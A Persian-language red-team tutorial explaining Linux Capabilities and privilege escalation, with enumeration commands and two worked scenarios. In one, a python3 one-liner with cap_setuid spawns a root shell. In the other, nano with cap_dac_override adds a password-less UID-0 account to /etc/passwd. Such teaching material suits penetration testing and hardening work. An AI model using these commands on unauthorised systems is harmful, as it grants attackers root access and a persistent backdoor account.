VulnCity

Privilege Escalation با Linux Capabilities

نویسنده: یاسین عابدینی · دسته: RedTeam · تاریخ انتشار: ۱۴۰۵/۵/۳۰

Linux Capabilities در Red Team

Linux Capabilities یکی از مهم‌ترین مکانیزم‌های کنترل دسترسی در کرنل لینوکس است که اختیارات کامل Root را به مجموعه‌ای از مجوزهای مستقل تقسیم می‌کند. در تست نفوذ و عملیات Red Team، بسیاری از سناریوهای Privilege Escalation نه به دلیل وجود یک آسیب‌پذیری، بلکه به علت Misconfiguration همین Capabilityها رخ می‌دهند.

مقدمه

در مدل سنتی لینوکس تنها دو سطح دسترسی وجود داشت: Root و User. هر پردازشی که با UID صفر اجرا می‌شد، به تمام منابع سیستم دسترسی کامل داشت. این مدل اگرچه ساده بود، اما اصل امنیتی Least Privilege را نقض می‌کرد.

از کرنل 2.2 به بعد، Linux Capabilities معرفی شد تا قدرت مطلق Root به ده‌ها مجوز کوچک‌تر تقسیم شود. در نتیجه می‌توان تنها یک قابلیت مانند تغییر UID یا ایجاد Raw Socket را به یک برنامه داد، بدون اینکه آن برنامه کاملاً Root باشد.

man 7 capabilities

Linux Capabilities چیست؟

Capabilityها مجموعه‌ای از بیت‌های امنیتی هستند که توسط کرنل مدیریت می‌شوند. هر پردازش و هر فایل اجرایی می‌تواند تعدادی Capability داشته باشد و کرنل هنگام اجرای عملیات حساس، وجود آن Capability را بررسی می‌کند.

مهم‌ترین Capabilityها

Capability کاربرد
CAP_SETUID تغییر User ID پردازش
CAP_SETGID تغییر Group ID
CAP_DAC_OVERRIDE نادیده گرفتن Permissionهای فایل
CAP_DAC_READ_SEARCH خواندن فایل و ورود به دایرکتوری بدون مجوز
CAP_NET_RAW ایجاد Raw Socket و Packet Crafting
CAP_NET_BIND_SERVICE Bind روی پورت‌های کمتر از 1024
CAP_SYS_ADMIN عملیات مدیریتی مانند Mount و Namespace
CAP_SYS_MODULE بارگذاری یا حذف Kernel Module

Capability Sets

از دید کرنل، هر پردازش پنج مجموعه Capability دارد که رفتار امنیتی آن را تعیین می‌کنند.

Flag نام توضیح
P Permitted قابلیت‌هایی که پردازش مجاز است داشته باشد.
E Effective قابلیت‌هایی که هم‌اکنون فعال هستند.
I Inheritable قابلیت‌هایی که به فرزند منتقل می‌شوند.
B Bounding حداکثر Capabilityهای مجاز برای پردازش.
A Ambient Capabilityهایی که بدون SUID به Child Process منتقل می‌شوند.

نمونه خروجی:

/usr/bin/python3 = cap_setuid+ep

مقدار +ep یعنی این Capability هم در مجموعه Permitted و هم Effective قرار دارد؛ بنابراین بلافاصله پس از اجرای فایل فعال خواهد بود.

Enumeration در Red Team

پس از به‌دست آوردن Initial Shell، یکی از اولین مراحل Enumeration بررسی Capabilityها است. این مرحله معمولاً قبل از بررسی Kernel Exploit انجام می‌شود.

Enumeration فایل‌ها

getcap -r / 2>/dev/null

نمونه خروجی:

/usr/bin/python3  = cap_setuid+ep
/usr/bin/ping     = cap_net_raw+ep
/usr/bin/tar      = cap_dac_override+ep

وجود Capability روی ابزارهایی مانند Python، Perl، Tar یا Nano معمولاً یک Misconfiguration بسیار خطرناک محسوب می‌شود.

Enumeration پردازش‌ها

برای مشاهده Capabilityهای یک Process:

cat /proc/4102/status | grep Cap

خروجی به صورت Bitmask است:

CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff

برای Decode کردن مقدار:

capsh --decode=0000003fffffffff

Capabilityهای Session فعلی

sudo capsh --print

این دستور تمام Capabilityهای فعال، Bounding Set و Ambient Set مربوط به Shell فعلی را نمایش می‌دهد.

سناریوی واقعی: CAP_SETUID → Root Shell

مرحله اول: شناسایی

$ id
uid=1001(user)

$ getcap -r / 2>/dev/null
/usr/bin/python3 = cap_setuid+ep

در این مثال Python دارای Capability تغییر UID است؛ بنابراین بدون داشتن SUID نیز می‌تواند شناسه کاربری پردازش خود را تغییر دهد.

مرحله دوم: سوءاستفاده

/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

هنگام اجرای os.setuid(0)، کرنل وجود CAP_SETUID را بررسی کرده و در صورت مجاز بودن، UID پردازش را به صفر تغییر می‌دهد.

نتیجه

root@target:~#
uid=0(root)
gid=0(root)

در این سناریو هیچ Kernel Exploit یا Buffer Overflow وجود ندارد؛ تنها یک Capability اشتباه روی Python باعث Privilege Escalation شده است.

CAP_DAC_OVERRIDE

این Capability بسیار خطرناک‌تر از نسخه Read/Search است، زیرا امکان نادیده گرفتن تقریباً تمام Permissionهای فایل را برای خواندن و نوشتن فراهم می‌کند.

مرحله اول: شناسایی

getcap -r / 2>/dev/null | grep cap_dac_override

نمونه خروجی:

/usr/bin/nano = cap_dac_override+ep

مرحله دوم: ویرایش passwd

nano /etc/passwd

اضافه کردن کاربر با UID صفر:

vulncity::0:0:root:/root:/bin/bash

مرحله سوم: دریافت Root

su vulncity

از آنجا که Nano می‌تواند فایل‌های سیستمی را بدون Permission ویرایش کند، مهاجم قادر است یک حساب Root جدید ایجاد کند.

مهم‌ترین Capabilities برای Red Team

Capability سناریوی هجومی
CAP_SETUID Privilege Escalation از طریق تغییر UID
CAP_SETGID دسترسی به گروه‌های Privileged
CAP_DAC_READ_SEARCH خواندن فایل‌های حساس مانند Shadow
CAP_DAC_OVERRIDE ویرایش فایل‌های سیستمی و ایجاد کاربر Root
CAP_NET_RAW Sniffing، ARP Spoofing و Packet Crafting
CAP_NET_BIND_SERVICE راه‌اندازی سرویس روی پورت 80 یا 443
CAP_SYS_ADMIN Container Escape، Mount و Namespace Abuse
CAP_SYS_MODULE بارگذاری Rootkit در قالب Kernel Module

تفاوت SUID و Linux Capability

SUID Capability
کل برنامه با Root اجرا می‌شود. فقط یک مجوز مشخص فعال می‌شود.
Granular نیست. کاملاً Granular است.
ریسک بالاتر در صورت سوءاستفاده. بر پایه Least Privilege طراحی شده است.
وابسته به بیت SUID فایل است. وابسته به Extended Attribute فایل است.

نمونه SUID

-rwsr-xr-x 1 root root ... /bin/bash

نمونه Capability

/usr/bin/python3 = cap_setuid+ep

هر دو مکانیزم می‌توانند منجر به Privilege Escalation شوند، اما SUID کل برنامه را با UID صفر اجرا می‌کند، در حالی که Capability تنها اجازه انجام یک عملیات خاص را به همان برنامه می‌دهد.

تفاوت Linux Capabilities و Polkit

Capabilities و Polkit هر دو به کنترل دسترسی مرتبط هستند، اما در دو لایه کاملاً متفاوت از سیستم‌عامل عمل می‌کنند.

Linux Capabilities Polkit
Privilege Model Authorization Framework
داخل Kernel پیاده‌سازی شده است. در User Space اجرا می‌شود.
به فایل اجرایی مجوز می‌دهد. اجازه انجام عملیات مدیریتی را بررسی می‌کند.
با getcap بررسی می‌شود. با pkaction و قوانین Polkit بررسی می‌شود.
Misconfiguration محور است. ممکن است Vulnerability محور باشد.

سناریوی حمله با Capability

  1. دسترسی اولیه به عنوان User
  2. اجرای getcap
  3. پیدا کردن Python با CAP_SETUID
  4. اجرای setuid(0)
  5. دریافت Root Shell

جایگاه Capabilities در متدولوژی Red Team

در یک عملیات استاندارد Privilege Escalation، ترتیب Enumeration معمولاً به شکل زیر است:

  1. بررسی اطلاعات کاربر (id, groups)
  2. بررسی sudo -l
  3. جستجوی فایل‌های SUID
  4. بررسی Linux Capabilities
  5. بررسی Polkit و pkexec
  6. Kernel Exploit در صورت نیاز

دلیل اهمیت این ترتیب آن است که سوءاستفاده از Capabilityها کاملاً قانونی و مبتنی بر رفتار کرنل است و معمولاً پایدارتر، کم‌ریسک‌تر و بدون نیاز به Exploitهای پیچیده انجام می‌شود.

جمع‌بندی

Linux Capabilities یکی از مهم‌ترین نقاط بررسی در تست نفوذ سیستم‌عامل لینوکس است. وجود Capabilityهایی مانند CAP_SETUID، CAP_DAC_OVERRIDE یا CAP_SYS_ADMIN روی ابزارهای عمومی می‌تواند مستقیماً مسیر رسیدن به Root را فراهم کند.

یک Red Teamer حرفه‌ای همیشه قبل از رفتن به سراغ Kernel Exploitها، Capabilityهای فایل‌ها و پردازش‌ها را Enumeration می‌کند؛ زیرا در بسیاری از محیط‌های واقعی، Misconfiguration از Vulnerability ارزشمندتر است.